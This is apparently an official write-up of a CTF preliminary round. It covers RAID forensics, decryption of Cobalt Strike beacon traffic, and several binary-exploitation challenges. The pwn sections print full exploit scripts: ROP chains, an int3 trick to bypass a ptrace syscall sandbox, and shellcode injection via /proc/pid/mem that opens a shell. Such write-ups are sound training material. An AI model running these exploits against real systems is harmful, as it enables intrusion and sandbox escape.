6小时激战,18次一血争夺!战队比拼互不相让,比赛如火如荼!
为帮助各位选手更好的复盘,组委会特别发布本届大赛初赛的官方Write Up供大家学习和交流!
-
解题步骤
1. 打开题目给的压缩包,可以看到给了5个文件名随机的镜像,使用file命令查看,发现是组了raid0的linux的磁盘镜像
同时在压缩包中还有注释,给出了提示,告知了块大小位512KB
2. 由于顺序被打乱,需要恢复raid0的磁盘顺序,这里给出的磁盘数量比较少,并且给出了块大小,可以尝试爆破顺序,最多也就15次
尝试使用r-studio创建虚拟块raid进行恢复
最后可以得到磁盘的顺序如下
```
img1.img -> gSoNiXLC.img
img2.img -> uGZ85OzT.img
img3.img -> m8X4exzG.img
img4.img -> Fsiq6lKn.img
img5.img -> suPVGqm6.img
```
顺序对了之后可以搜索分区
3. 搜索完成后双击进入分区,可以发现两个文件key.png和secret
4. 观察文件大小,发现secret文件刚好10MB,猜测是veracrypt加密的磁盘镜像,同时key.png应该是挂载用的密钥文件
5. 使用veracrypt进行挂载,成功得到flag
-
解题思路
1. 首先拿到流量包,观察发现明显存在cobalt strike流量特征,释放了stage文件,也存在心跳包,结合题目名字可以确定是cobalt strike流量
2. cobalt strike流量解密的方法这里不再赘述,可以自己参考下面的文章,网上类似的文章也有很多了
[奇安信攻防社区-Cobaltstrike4.0 学习——http分阶段stagebeacon上线流量刨根问底 (butian.net)](https://forum.butian.net/share/1861)
简单的来说,过程是这样:首先需要获得一个rsa的私钥,使用rsa的私钥去解密心跳包中的cookie,解密后可以拿到一个aes的密钥,使用aes的密钥最终可以解出加密的流量
3. 那么本题题目的第一个考点就来了,常规的cobalt strike流量题目,一般都会给出用于rsa解密的私钥,cobalt strike中加密cookie的公钥私钥文件存在于一个叫做.cobaltstrike.beacon_keys的文件,这个文件是在cobalt strike中新增监听器的时候生成的,是一个java序列化格式的文件,里面存在着一个java的KeyPair对象,其中的内容便是一对公钥私钥
4. 一般的题目中会给出.cobaltstrike.beacon_keys文件,用于解密cobalt strike流量,但是在本题的流量包中,并未给出。那么如何获取解密过程中第一步的rsa公私钥呢?在这段流量中,给出了cobalt strike木马上线时所发送的stage文件,我们首先导出这个stage文件
这个stage文件中,是存在公钥的,可以使用github上流传的脚本来进行解析
[CSthing/1768_v0_0_8/1768.py at master · minhangxiaohui/CSthing (github.com)](https://github.com/minhangxiaohui/CSthing/blob/master/1768_v0_0_8/1768.py)
解析结果如下
可以看到,成功得到了16进制的公钥,记得要把后面多余的0去掉
```
30819e300d06092a864886f70d010101050003818c00308188028180525e1781f2f02d132a7818a6d269baddbf39352c8d20290ec2294fbe4d77e6549ef4766d8b0e1620000adfbd7aff99cd72f05623eb0def202265cf631dd895acd5e981da8424c03a295895c8194a31641f2eecd5a8715ca89cdbf9433c5d437538767666c3bdb0f8629555375b574fe408a94ae82f92960085d416374f1654b30203010001
```
5. 拿到了公钥之后,可以编写python脚本,来提取其中的n和e,同时将公钥转换为标准的pem格式
```python
from Crypto.PublicKey import RSA
import binascii
# 将你的16进制字符串放在这里
hex_key = "30819e300d06092a864886f70d010101050003818c00308188028180525e1781f2f02d132a7818a6d269baddbf39352c8d20290ec2294fbe4d77e6549ef4766d8b0e1620000adfbd7aff99cd72f05623eb0def202265cf631dd895acd5e981da8424c03a295895c8194a31641f2eecd5a8715ca89cdbf9433c5d437538767666c3bdb0f8629555375b574fe408a94ae82f92960085d416374f1654b30203010001" # 用你的实际十六进制字符串替换
# 将十六进制字符串转换为字节
key_bytes = binascii.unhexlify(hex_key)
# 导入RSA公钥
rsa_key = RSA.import_key(key_bytes)
# 提取模数(n)和指数(e)
n = rsa_key.n
e = rsa_key.e
# 打印模数和指数
print(f"Modulus (n): {n}")
print(f"Exponent (e): {e}")
# 将RSA公钥导出为PEM格式
pem_key = rsa_key.publickey().export_key(format='PEM')
# 打印PEM格式公钥
print(pem_key.decode('utf-8'))
```
6. 经过尝试可以发现,这道题目中,虽然没给出rsa的私钥,但是公钥中的n是由相邻的素数相乘得到的,是可以使用yafu来进行分解的,所以这也是本题的第一个考点
7. 拿到了p和q之后,写一个脚本,计算私钥,并转换为标准的pem格式,用于后续的解密
```python
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric.utils import (
encode_dss_signature,
decode_dss_signature,
)
from cryptography.hazmat.backends import default_backend
import gmpy2
from sympy import nextprime, isprime
import random
def generate_rsa_keys_from_components(p, q, n, e, d):
"""
使用提供的 n, e, d 生成 RSA 密钥对
:param n: 模数 (int)
:param e: 公钥指数 (int)
:param d: 私钥指数 (int)
:return: 公钥和私钥对象
"""
# 创建 RSA 密钥对象
private_key = rsa.RSAPrivateNumbers(
p=p,
q=q,
d=d,
dmp1=d % (p - 1),
dmq1=d % (q - 1),
iqmp=rsa.rsa_crt_iqmp(p, q),
public_numbers=rsa.RSAPublicNumbers(e=e, n=n),
).private_key(backend=default_backend())
# 获取公钥
public_key = private_key.public_key()
return public_key, private_key
def save_keys_to_pem(public_key, private_key, public_path, private_path):
"""
将公钥和私钥保存为 PEM 格式的文件
:param public_key: 公钥对象
:param private_key: 私钥对象
:param public_path: 公钥文件路径
:param private_path: 私钥文件路径
"""
# 序列化公钥为 PEM 格式
public_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo,
)
# 序列化私钥为 PEM 格式
private_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption(),
)
# 保存公钥到文件
with open(public_path, "wb") as f:
f.write(public_pem)
# 保存私钥到文件
with open(private_path, "wb") as f:
f.write(private_pem)
def main():
p = 7605291443685150594150190909345113655196508809219162555499789316232908573154196070425269090153291952292016936024761413150455793038505322748933150548026221
q = 7605291443685150594150190909345113655196508809219162555499789316232908573154196070425269090153291952292016936024761413150455793038505322748933150548026527
e = 0x10001
n = p * q
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
print(d)
d = int(d)
# 生成密钥对
public_key, private_key = generate_rsa_keys_from_components(p, q, n, e, d)
# 保存密钥到文件
save_keys_to_pem(public_key, private_key, "publicKey.pem", "privateKey.pem")
print("公钥和私钥已成功生成并保存到文件中!")
if __name__ == "__main__":
main()
```
8. 现在已经拿到了公钥和私钥,接下来就是常规的cobalt strike流量解密过程了
首先使用上面拿到的私钥去解密心跳包中的cookie,拿到aes的key
```python
import hashlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64
import hexdump
PRIVATE_KEY = """-----BEGIN PRIVATE KEY-----
MIICdAIBADANBgkqhkiG9w0BAQEFAASCAl4wggJaAgEAAoGAUl4XgfLwLRMqeBim
0mm63b85NSyNICkOwilPvk135lSe9HZtiw4WIAAK3716/5nNcvBWI+sN7yAiZc9j
HdiVrNXpgdqEJMA6KViVyBlKMWQfLuzVqHFcqJzb+UM8XUN1OHZ2ZsO9sPhilVU3
W1dP5AipSugvkpYAhdQWN08WVLMCAwEAAQKBgClZWuu9jZzTNkq79WND+K9BQ/LR
vrcaZXJLUuDx+vMCIBoRKcTY+XpvCwZvFMQj7eN5i4TUh1Y4B4yco+FjzR85KDCz
q9KuLsJzGcxQQSfcAzDhhLAEhoEaR0ud/F+ltL+RRRv/Pv8DVJG02rWfiFliKecb
Y2lS6I7VarAeo4ahAkEAkTXj5VW3w40YhnWoh/hyoCcCa2ic+HIM11hlALQiXE3P
KLGj+WeVNzzRveNhQDjDwYZBBl5rvSinhFJ8glXjbQJBAJE14+VVt8ONGIZ1qIf4
cqAnAmtonPhyDNdYZQC0IlxNzyixo/lnlTc80b3jYUA4w8GGQQZea70op4RSfIJV
5J8CQHq8lC4p77NoNUyhcpvLEgfwMQlcWSFeNSBn5KddmpVuZyU8UR7jwKn5zEa2
RGMmF8AhnCCn+mTeUgl0Ny1rL1kCQCGUN64Jw2PqFdjKDn3a2w7j1nBmEZ52KTgH
Ddw6y5NSvuvnIEcFSAEtBEeH9C44sjPnStQhM4LbitlThc1R9XsCQCKkR++Zd/hF
okuUihZl79eQ1ekZyxgh5p51S/b3Gpo0BsDseESze3C7r4bRA/Vi4A82nbwU2h7n
Zd8mFVZPDUM=
-----END PRIVATE KEY-----"""
encode_data = "SLHAIOj8/1icVtP6fImtJz6B6wR0t/XwLg1G0Y3AxoxnseBfPONxoyjAWCCOH84IJULnCZZrO7cIRxJPS2PtmDD4MvD8/PIpoW8Gj8536vhwd+tyXjNKyLNyNYcj+JgO4N5FTnKtkONgv7KnsMjJC3E0eI0ctqmZll8SrXLUS9k="
private_key = RSA.import_key(PRIVATE_KEY.encode())
cipher = PKCS1_v1_5.new(private_key)
ciphertext = cipher.decrypt(base64.b64decode(encode_data), 0)
if ciphertext[0:4] == b'x00x00xBExEF':
raw_aes_keys = ciphertext[8:24]
# print(raw_aes_keys)
raw_aes_hash256 = hashlib.sha256(raw_aes_keys).digest()
aes_key = raw_aes_hash256[0:16]
hmac_key = raw_aes_hash256[16:]
print("RAW key: {}".format(raw_aes_keys.hex()))
print("AES key: {}".format(aes_key.hex()))
print("HMAC key: {}".format(hmac_key.hex()))
hexdump.hexdump(ciphertext)
```
9. 拿到aes_key之后,就可以来解密流量包中的报文了
找到流量包中下发任务的心跳包,由于心跳包数量很多,可以直接在导出HTTP流量的地方快速定位到存在下发任务的心跳包,带有submit.php的就是
尝试进行解码,脚本如下,解码的时候需要注意,响应的报文会比下发任务的报文多4个字节,下面的脚本中已经做了判断
```python
import hmac
import binascii
import base64
import hexdump
from Crypto.Cipher import AES
AES_KEY = binascii.unhexlify("9fe14473479a283821241e2af78017e8")
HMAC_KEY = binascii.unhexlify("1e3d54f1b9f0e106773a59b7c379a89d")
encrypt_data = "00000040efeda3e57f7d7fd589d11640ea0f9a4fe6bc91332723ffc5f43f78b37c21cc7485c44d6c8eb6af74fc7044046059c76519e493e351c9f631d6785d5c07eae9e3"
def decrypt(encrypted_data, iv_bytes, signature, AES_KEY, hmac_key):
# if hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[:16] != signature:
# print("message authentication failed")
# return
cipher = AES.new(AES_KEY, AES.MODE_CBC, iv_bytes)
return cipher.decrypt(encrypted_data)
encrypt_data = bytes.fromhex(encrypt_data)
try:
encrypt_data_length = int.from_bytes(encrypt_data[:4], byteorder='big', signed=False)
encrypt_data_l = encrypt_data[4:]
data1 = encrypt_data_l[:encrypt_data_length-16]
signature = encrypt_data_l[encrypt_data_length-16:encrypt_data_length]
iv_bytes = b"abcdefghijklmnop"
dec = decrypt(data1, iv_bytes, signature, AES_KEY, HMAC_KEY)
except:
dec = decrypt(encrypt_data, iv_bytes, signature, AES_KEY, HMAC_KEY)
print("counter: {}".format(int.from_bytes(dec[:4], byteorder='big', signed=False)))
print("任务返回长度: {}".format(int.from_bytes(dec[4:8], byteorder='big', signed=False)))
print("任务输出类型: {}".format(int.from_bytes(dec[8:12], byteorder='big', signed=False)))
print(dec[12:int.from_bytes(dec[4:8], byteorder='big', signed=False)])
print(hexdump.hexdump(dec))
```
10. 依次解码下发的几个任务,最后在第1382个HTTP流中可以找到存在上传文件的任务
解码后得到一个流量包secret.pcapng,写入到文件中
```python
import hmac
import binascii
import base64
import hexdump
from Crypto.Cipher import AES
AES_KEY = binascii.unhexlify("9fe14473479a283821241e2af78017e8")
HMAC_KEY = binascii.unhexlify("1e3d54f1b9f0e106773a59b7c379a89d")
encrypt_data = "hex"
def decrypt(encrypted_data, iv_bytes, signature, AES_KEY, hmac_key):
cipher = AES.new(AES_KEY, AES.MODE_CBC, iv_bytes)
return cipher.decrypt(encrypted_data)
encrypt_data = bytes.fromhex(encrypt_data)
try:
encrypt_data_length = int.from_bytes(encrypt_data[:4], byteorder='big', signed=False)
encrypt_data_l = encrypt_data[4:]
data1 = encrypt_data_l[:encrypt_data_length-16]
signature = encrypt_data_l[encrypt_data_length-16:encrypt_data_length]
iv_bytes = b"abcdefghijklmnop"
dec = decrypt(data1, iv_bytes, signature, AES_KEY, HMAC_KEY)
except:
dec = decrypt(encrypt_data, iv_bytes, signature, AES_KEY, HMAC_KEY)
print("counter: {}".format(int.from_bytes(dec[:4], byteorder='big', signed=False)))
print("任务返回长度: {}".format(int.from_bytes(dec[4:8], byteorder='big', signed=False)))
print("任务输出类型: {}".format(int.from_bytes(dec[8:12], byteorder='big', signed=False)))
# print(dec[:100].hex())
# print(dec[12:int.from_bytes(dec[4:8], byteorder='big', signed=False)])
print(hexdump.hexdump(dec[:1000]))
open('secret.pcapng','wb').write(dec[64:-76])
```
11. 现在就拿到了第二个流量包secret.pcapng
打开secret.pcapng,发现存在大量的udp流量,并且通信端口是27015
12. 这个时候结合题目的名字cs?cs!,以及网上搜索,可以知道这其实是cs1.6,也就是Counter Strike游戏的流量
13. 经过查找后可以找到一篇文章
[L3HCTF 2021 MISC Lambda 题目详细分析-安全客 - 安全资讯平台 (anquanke.com)](https://www.anquanke.com/post/id/261339)
里面详细解释了Counter Strike流量是如何加密的,主要是用了rehlds中的加密逻辑
可以借助文章中的方法来进行解密
14. 首先写一个cpp文件,并编译成so文件
```cpp
extern "C"
{
int _LongSwap(int l)
{
unsigned int res = __builtin_bswap32(*(unsigned int *)&l);
return *(int *)&(res);
}
const unsigned char mungify_table[] =
{
0x7A, 0x64, 0x05, 0xF1,
0x1B, 0x9B, 0xA0, 0xB5,
0xCA, 0xED, 0x61, 0x0D,
0x4A, 0xDF, 0x8E, 0xC7};
const unsigned char mungify_table2[] =
{
0x05, 0x61, 0x7A, 0xED,
0x1B, 0xCA, 0x0D, 0x9B,
0x4A, 0xF1, 0x64, 0xC7,
0xB5, 0x8E, 0xDF, 0xA0};
unsigned char mungify_table3[] =
{
0x20, 0x07, 0x13, 0x61,
0x03, 0x45, 0x17, 0x72,
0x0A, 0x2D, 0x48, 0x0C,
0x4A, 0x12, 0xA9, 0xB5};
void COM_UnMunge2(unsigned char *data, int len, int seq)
{
int i;
int mungelen;
int c;
int *pc;
unsigned char *p;
int j;
mungelen = len & ~3;
mungelen /= 4;
for (i = 0; i < mungelen; i++)
{
pc = (int *)&data[i * 4];
c = *pc;
c ^= seq;
p = (unsigned char *)&c;
for (j = 0; j < 4; j++)
{
*p++ ^= (0xa5 | (j << j) | j | mungify_table2[(i + j) & 0x0f]);
}
c = _LongSwap(c);
c ^= ~seq;
*pc = c;
}
}
}
```
```
g++ -shared -o dll.so dll.cpp
```
15. 接着编写下面的python脚本,借助c代码中的COM_UnMunge2函数来完成解密即可
```python
from scapy.all import *
from ctypes import *
import struct
lib=CDLL('./dll.so')
COM_UnMunge=lib.COM_UnMunge2
pcaps = rdpcap("secret.pcapng")
f=open('res','wb')
for mpacket in pcaps.filter(lambda x:UDP in x and x[UDP].sport==27015):
# mpacket.show()
udp=mpacket[UDP]
data=bytes(udp.payload)[8:]
seq=bytes(udp.payload)[:4]
ack=bytes(udp.payload)[4:8]
c=create_string_buffer(data)
COM_UnMunge(c,len(data),seq[0])
print(mpacket.time,mpacket[IP].src,'->',mpacket[IP].dst)
decode_bytes=bytes(c)
if len(decode_bytes)>10:
if struct.unpack('<L', seq)[0] & (1<<30):
if len(decode_bytes)>10+struct.unpack('<h', decode_bytes[7:9])[0]+1:
print('find extra data block:')
print(decode_bytes[10+struct.unpack('<h', decode_bytes[7:9])[0]:])
decode_bytes=decode_bytes[10:10+struct.unpack('<h', decode_bytes[7:9])[0]]
# f.write(decode_bytes)
print(f'finally decode data:{decode_bytes}nlength:{len(decode_bytes)}')
f.close
```
16. 最后在解密的流量中可以找到flag
-
解题步骤
程序fork出一个子进程,然后由父进程调试子进程
分析v7变量是regs,将v7变量重新定义成`unsigned long int v7[16]`
父进程监控了子进程的syscall,白名单只允许调用0,1,5,60,231号系统调用(分别对应read、write、fstat、exit、exit_group),如果不是合法系统调用,则给系统调用号赋值为-1(相当于禁止调用)。
使用 int3 指令欺骗跟踪器
int3 指令是一个单字节的断点指令,用于调试。利用 int3 指令,可以让被跟踪进程向父进程发送一个信号,父进程会错误地认为这是系统调用进入或退出时的信号。这会导致跟踪器在错误的时机检查寄存器,进而导致跟踪器失去对系统调用状态的正确跟踪。
ptrace 的设计使其在区分系统调用的进入和退出时存在固有的限制。这种限制使得 ptrace 不适合作为沙盒机制的一部分,因为它需要准确跟踪每个系统调用的状态。而使用 int3 指令来欺骗跟踪器的技巧则进一步证明了这种方法的脆弱性。因此,使用 ptrace 构建沙盒环境并不是一个可靠的方法。
分析子进程,存在数组越界漏洞,实现了2次上溢地址泄露和1次任意地址写的机会。
可泄露stack地址、libc地址,以此计算libc库中strlen函数的got表距离数组的偏移。高版本glibc中puts函数的内部实现:puts --> strlen_plt -> strlen。往strlen函数的got表里写一个gadget,这样在调用puts时即可控制程序执行流程。在recv:输入时构造一个rop链。
由于采用白名单机制,所以execve,open相关的不能用;由于mmap也不能用,所以无法在32位地址分配内存,也就无法切换32位状态绕过检测。
所以这里在ROP调用orw打印flag之前需要插入一条int3指令,它将唤醒父进程,父进程会认为系统调用已被调用,但实际上并没有系统调用,只是中断了,这将反转了检测逻辑。
自行编写相关脚本或者手动寻找,找出libc中int3相关的ROP-gadget,形如:`int3;xxxx;ret` 或者 `int3;xxxx;call regs`。这里在`0x1723F8`地址找到一个完美符合要求的gadget。
```
text:00000000001723F8 CC int 3 ; Trap to Debugger
.text:00000000001723F9 58 pop rax
.text:00000000001723FA 0B 00 or eax, [rax]
.text:00000000001723FC E8 8F 61 EB FF call j_strncmp
.text:0000000000172401 85 C0 test eax, eax
.text:0000000000172403 0F 94 C0 setz al
.text:0000000000172406 EB 22 jmp short loc_17242A
.text:000000000017242A loc_17242A:
.text:000000000017242A 48 83 C4 08 add rsp, 8
.text:000000000017242E C3 retn
```
最终EXP:
```python
from pwn import *
#p=process("./trace")
p=remote("127.0.0.1",8888)
#context.log_level="debug"
#gdb.attach(p,"b *$rebase(0xb2b)")#"b *$rebase(0x14c6)"
#raw_input()
#libc=ELF("/home/ubuntu/glibc-all-in-one-new/libs/2.35-0ubuntu3.5_amd64/libc.so.6")
def show(idx):
p.recvuntil(">")
p.sendline(str(2))
p.recvuntil("?n")
p.sendline(str(idx))
def set(idx,number,data):
p.recvuntil(">")
p.sendline(str(1))
p.recvuntil(":n")
p.send(data)
p.recvuntil("?n")
p.sendline(str(idx))
p.recvuntil("?n")
p.sendline(str(number))
def go():
p.recvuntil(">")
p.sendline(str(3))
'''
text:00000000001723F8 CC int 3 ; Trap to Debugger
.text:00000000001723F9 58 pop rax
.text:00000000001723FA 0B 00 or eax, [rax]
.text:00000000001723FC E8 8F 61 EB FF call j_strncmp
.text:0000000000172401 85 C0 test eax, eax
.text:0000000000172403 0F 94 C0 setz al
.text:0000000000172406 EB 22 jmp short loc_17242A
.text:000000000017242A loc_17242A:
.text:000000000017242A 48 83 C4 08 add rsp, 8
.text:000000000017242E C3 retn
'''
puts_off=0x219098
show(-4)
p.recvuntil(" = ")
stack=int(p.recvuntil("n",drop=True),10)-32
print(hex(stack))
show(-2)
p.recvuntil(" = ")
lib=int(p.recvuntil("n",drop=True),10)-0x21a6a0
print(hex(lib))
gadget=lib+0x000001144e6 #0x00000000001144e6 : add rsp, 0x78 ; ret
int3=lib+0x1723F8
rdi=lib+0x000000000002a3e5
rsi=lib+0x000000000002be51
rdx=lib+0x00000000000796a2
rax=lib+0x0000000000045eb0
op=lib+0x1142f0
read=lib+0x1145e0
write=lib+0x114680
write_able=lib+2207552
rop_chain=p64(rdi)+p64(0)+p64(rsi)+p64(write_able)+p64(rdx)+p64(8)+p64(read)
rop_chain+=p64(rdi)+p64(write_able)+p64(rsi)+p64(write_able)+p64(rdx)+p64(3)+p64(int3)+p64(stack+0x200)+p64(0xdeadbeef)
rop_chain+=p64(rdi)+p64(write_able)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(op)
rop_chain+=p64(rdi)+p64(3)+p64(rsi)+p64(write_able+0x8)+p64(rdx)+p64(0x40)+p64(read)
rop_chain+=p64(rdi)+p64(1)+p64(rsi)+p64(write_able+0x8)+p64(rdx)+p64(0x40)+p64(write)
idx=-((stack-(lib+puts_off))/8)
set(idx,gadget,"a"*0x10+rop_chain)
raw_input()
p.send("/flagx00")
p.interactive()
```
-
解题思路
题目主要内容如下
sandbox 内容如下
main函数中限制了只能使用1,2,4,5,6,7,8,9,10号系统调用,注定我们不能利用正常利用execve(/bin/sh,0,0) 或者 orw来获取flag
可以看到主函数中fork了一个子进程且,在子进程中会不断重复执行`made_in_heaven`,由于这里的sandbox是作用于父进程的,子进程并不会受到影响,我们可以通过/proc/pid/mem向`made_in_heaven`函数中注入shellcode就行了
可以通过`open+lseek+write`的方式注入,但同时注意到限制了调用syscall的次数为两次, 那么就需要通过注入32位+64位的shellcode(类似于天堂之门)
### exp
```python3
import pwnlib
import os
from pwn import *
p = process("./task")
elf = ELF("./task")
#p = remote("ip",port)
p.recvuntil('puchid: ')
child_pid = int(p.recvline().strip())
success("pid: " + str(child_pid))
context.arch = 'i386'
context.bits = 32
sc32 = shellcraft.i386.linux.open("/proc/{}/mem".format(child_pid), 1)
sc_start = """
push 0x23
mov rax,{}
push rax
retfq
mov rsp,0x10500
""".format(hex(0x10000+0xc))
sc32= asm(sc_start,arch="amd64",bits=64) + asm(sc32)
context.arch = "amd64"
context.bits = 64
sc_mid = """
push 0x33
push {}
retfq
""".format(hex(0x10000 +len(sc32)+9))
shellcode1 = shellcraft.amd64.sh()
sc2 = b"x90"*50 + asm(shellcode1)
sc64 = shellcraft.amd64.syscall('SYS_lseek', 3, elf.symbols['made_in_heaven'], 0)
sc64 += shellcraft.amd64.pushstr(sc2)
sc64 += shellcraft.amd64.write(3, 'rsp', len(sc2))
sc_combined = sc32 + asm(sc_mid) + asm(sc64)
#gdb.attach(p)
p.send(sc_combined)
p.interactive()
```
-
解题思路
使用IDA分析程序
分析主函数程序功能是4个,1是编辑vector的数据,2是向vector中压入数据,3是将vector中的数据取出,4是输出vector中的数据
漏洞在于在2中压入数据,添加数据中没有检查size的大小,导致可以覆盖size位置,可以泄露内存中的地址,
```
for i in range(7):
add(100)
show()
```
接收到数据,其中有libc地址,返回地址,需要注意的是由于是leak地址是int32类型,需要转化成unsigned int32.
通过编辑vector可以将返回地址以及之后的内容进行写入,然后构造ROP
```
edit(18, pop_rdi&0xffffffff)
edit(19, (pop_rdi>>32)&0xffff)
edit(20, bin_sh&0xffffffff)
edit(21, (bin_sh>>32)&0xffff)
edit(22, (pop_rdi+1)&0xffffffff)
edit(23, ((pop_rdi+1)>>32)&0xffff)
edit(24, system&0xffffffff)
edit(25, (system>>32)&0xffff)
```
完整的EXP:
```
from pwn import *
import ctypes
p = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def menu(idx):
p.sendlineafter("Enter your choice: ", str(idx))
def add(data):
menu(2)
p.sendlineafter("Enter the value to push:", str(data))
def show():
menu(4)
def edit(idx, data):
menu(1)
p.sendlineafter("Enter the index to edit (0-based): ",str(idx))
p.sendlineafter("Enter the new value: ", str(data))
for i in range(7):
add(100)
show()
pause()
p.recvuntil("StackVector contents: ")
data_list = p.recvuntil("n")
data_list = data_list.split(b' ')
low_data = int(data_list[18])
unsigned_number = ctypes.c_uint32(low_data).value
print(hex(unsigned_number))
print(hex(int(data_list[19])))
libc_addr_high = int(data_list[19])<<32
print(hex(libc_addr_high))
libcase = libc_addr_high + unsigned_number -0x29d90
print(hex(libcase))
system = libcase + libc.sym['system']
bin_sh = libcase + next(libc.search(b"/bin/sh"))
context.arch = 'amd64'
pop_rdi = libcase + next(libc.search(asm("pop rdi;ret")))
ret = libcase + next(libc.search(asm("ret")))
one = libcase + 0xebd43
# gdb.attach(p, 'b *$rebase(0x1751)')
edit(18, pop_rdi&0xffffffff)
edit(19, (pop_rdi>>32)&0xffff)
edit(20, bin_sh&0xffffffff)
edit(21, (bin_sh>>32)&0xffff)
edit(22, (pop_rdi+1)&0xffffffff)
edit(23, ((pop_rdi+1)>>32)&0xffff)
edit(24, system&0xffffffff)
edit(25, (system>>32)&0xffff)
menu(5)
# show()
p.interactive()
```
-
解题思路
使用nc连接靶机测试
通过测试能发现flag所需长度为96字节
或者编写pwntools脚本自动化测试
```python
#-*- coding=utf-8 -*-
from pwn import *
from sys import argv
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
rl = lambda keepends=False :sh.recvline(keepends)
ru = lambda delims, drop=True :sh.recvuntil(delims, drop)
ra = lambda :sh.recvall()
sd = lambda data :sh.shutdown(data)
ia = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,' '))
uu64 = lambda data :u64(data.ljust(8,' '))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def dbg(a=''):
gdb.attach(sh, a)
pause()
binary = './BitDance'
libc_path = './libc.so.6' # '/lib/i386-linux-gnu/libc.so.6' / '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(binary, checksec=False)
#context.log_level = 'DEBUG'
#context.arch = 'amd64'
def pwn(addr, debug):
global sh
global libc
libc = elf.libc
#libc = ELF(libc_path)
i = 1
while True:
if(debug == 1):
sh = process(binary)
#sh = process(binary,env={"LD_PRELOAD" : libc_path})
else:
ip = addr.split(':')[0]
port = addr.split(':')[1]
sh = remote(ip, port)
ru('Welcome to dance: ')
sl('a'*i)
data = rl()
if data.startswith('Wrong length'):
sh.close()
i += 1
continue
print('flag length: ' + str(i))
break
if __name__ == "__main__":
pwn('localhost:9999', 0)
```
观察规律,发现是从下标0的位置开始,每次移动一个比特位到标红位置,然后将标红位置原始的值移动到下个标红位置...以此类推,最后与密文进行比较
打开pwntools的DEBUG,能够发现标红位置的比特位左右两侧会有相应标志,可以根据这个特征记录每次比特位移动的下标
编写脚本得到比特位逐渐移动的下标:
```python
#-*- coding=utf-8 -*-
from pwn import *
from sys import argv
import re
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
rl = lambda keepends=False :sh.recvline(keepends)
ru = lambda delims, drop=True :sh.recvuntil(delims, drop)
ra = lambda :sh.recvall()
sd = lambda data :sh.shutdown(data)
ia = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,' '))
uu64 = lambda data :u64(data.ljust(8,' '))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def dbg(a=''):
gdb.attach(sh, a)
pause()
binary = './BitDance'
libc_path = './libc.so.6' # '/lib/i386-linux-gnu/libc.so.6' / '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(binary, checksec=False)
context.log_level = 'DEBUG'
#context.arch = 'amd64'
def pwn(addr, debug):
global sh
global libc
libc = elf.libc
#libc = ELF(libc_path)
if(debug == 1):
sh = process(binary)
#sh = process(binary,env={"LD_PRELOAD" : libc_path})
else:
ip = addr.split(':')[0]
port = addr.split(':')[1]
sh = remote(ip, port)
pd = 'a' * 96
sla('Welcome to dance: ', pd)
ru('Start from 0n')
rl()
index_list = [0]
for i in range(96*8-1):
data = rl()
# 匹配目标字符串,其中 {} 内匹配 x30 或 x31
pattern = r'x1bx5bx30x6dx1bx5bx30x3bx33x31x6d(x30|x31)x1bx5bx30x6dx1bx5bx30x3bx33x32x6d'
# 使用 re.search 查找第一个匹配结果
match = re.search(pattern, data)
index_list.append(match.end() - 30) #前面还有一个这样的标志,所以要减30
print(index_list)
print(list(reversed(index_list)))
if __name__ == "__main__":
pwn('localhost:9999', 0)
```
然后遍历倒叙后的下标,把每个比特位向前移动回去即可
```python
unsigned int FindBitSrc(unsigned int* box, unsigned int dwBitIdx, unsigned int dwBitNum)
{
for (int i = 0; i < dwBitNum; i++)
{
if (box[i] == dwBitIdx)
{
return i;
}
}
return -1;
}
unsigned int BitDecode(unsigned char* cipher, unsigned int* box, unsigned int count)
{
unsigned char srcBit = cipher[0] >> 7;
unsigned int idx = 0;
unsigned int dwBitNum = count;
unsigned int dwBitSrcIdx;
unsigned char destBit;
unsigned int index = 0;
while (count--)
{
dwBitSrcIdx = box[index];
destBit = (cipher[dwBitSrcIdx >> 3] >> (7 - (dwBitSrcIdx & 7))) & 1;
cipher[dwBitSrcIdx >> 3] ^= (srcBit ^ destBit) << (7 - (dwBitSrcIdx & 7));
srcBit = destBit;
idx = dwBitSrcIdx;
index++;
}
return 0;
}
unsigned int BitDanceDecode(unsigned char* cipher, unsigned int len)
{
unsigned int box[] = {223, 64, 650, 471, 493, 580, 763, 459, 754, 349, 393, 417, 643, 638, 208, 324, 690, 490, 747, 200, 505, 256, 124, 670, 651, 550, 392, 517, 129, 526, 35, 388, 183, 654, 109, 318, 137, 585, 492, 117, 750, 507, 164, 622, 101, 358, 535, 661, 662, 78, 41, 378, 628, 410, 449, 533, 593, 222, 491, 38, 709, 462, 83, 230, 644, 627, 468, 80, 724, 295, 4, 435, 5, 383, 444, 341, 692, 411, 678, 360, 679, 277, 49, 57, 688, 649, 463, 337, 167, 123, 142, 55, 558, 397, 472, 700, 683, 115, 376, 728, 268, 245, 689, 332, 361, 731, 20, 429, 619, 286, 287, 641, 107, 63, 209, 46, 477, 74, 635, 21, 529, 257, 356, 723, 17, 516, 671, 316, 19, 419, 215, 86, 749, 193, 498, 118, 740, 347, 217, 292, 655, 482, 695, 501, 431, 368, 401, 424, 713, 466, 82, 25, 264, 598, 161, 694, 147, 340, 283, 185, 254, 13, 736, 297, 733, 766, 56, 367, 592, 510, 422, 568, 571, 666, 602, 727, 645, 